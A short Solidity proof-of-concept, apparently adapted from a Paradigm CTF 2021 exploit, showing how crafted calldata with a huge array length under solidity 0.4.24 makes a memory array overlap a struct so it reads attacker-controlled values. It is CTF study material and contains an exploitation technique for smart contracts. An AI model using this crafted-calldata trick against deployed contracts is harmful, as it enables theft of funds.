// based on https://github.com/paradigm-operations/paradigm-ctf-2021/blob/master/swap/private/Exploit.sol
pragma solidity ^0.4.24; // only works with low solidity version

contract test{
struct Overlap {
uint field0;
}
event log(uint);

function mint(uint[] memory amounts) public returns (uint) {
// this can be in any solidity version
Overlap memory v;
v.field0 = 1234;
emit log(amounts[0]); // would expect to be 0 however is 1234
return 1;
}

function go() public { // this part requires the low solidity version
uint x=0x800000000000000000000000000000000000000000000000000000000000000; // 2^251
bytes memory payload = abi.encodeWithSelector(this.mint.selector, 0x20, x);
bool success=address(this).call(payload);
}
}
